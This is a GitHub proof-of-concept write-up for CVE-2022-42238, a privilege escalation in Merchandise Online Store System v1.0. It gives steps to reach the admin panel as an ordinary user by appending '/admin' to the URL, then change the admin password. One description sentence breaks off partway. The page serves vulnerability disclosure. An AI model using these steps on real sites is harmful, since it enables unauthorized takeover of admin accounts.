draco1725 / localpriv Public

Code Issues Pull requests Actions Projects Security Insights

main

localpriv / poc

draco1725 Update poc History

1 contributor

31 lines (23 sloc) | 984 Bytes

```
# Exploit Title: Merchandise Online Store System - Vertical Privilege Escalation
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-sour
# Software Link: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source
# Version: v1.0
# Tested on: Parrot GNU/Linux 4.10, Apache
# CVE: CVE-2022-42238


Description:-
A Vertical Privilege Escalation issue in Merchandise Online Store System v.1.0 allows an attacker

`
Payload:
/admin


`
Parameter:-
http://localhost/vloggers_merch/admin/


`
Steps to reproduce:-

1. First login as normal user
2. We have got the above url as: http://localhost/vloggers_merch/
3. Now lets add one more directory : /admin
```

```
4. As we can see now got the admin access and we can make changes in admin panel
5. We can even change the admin password
```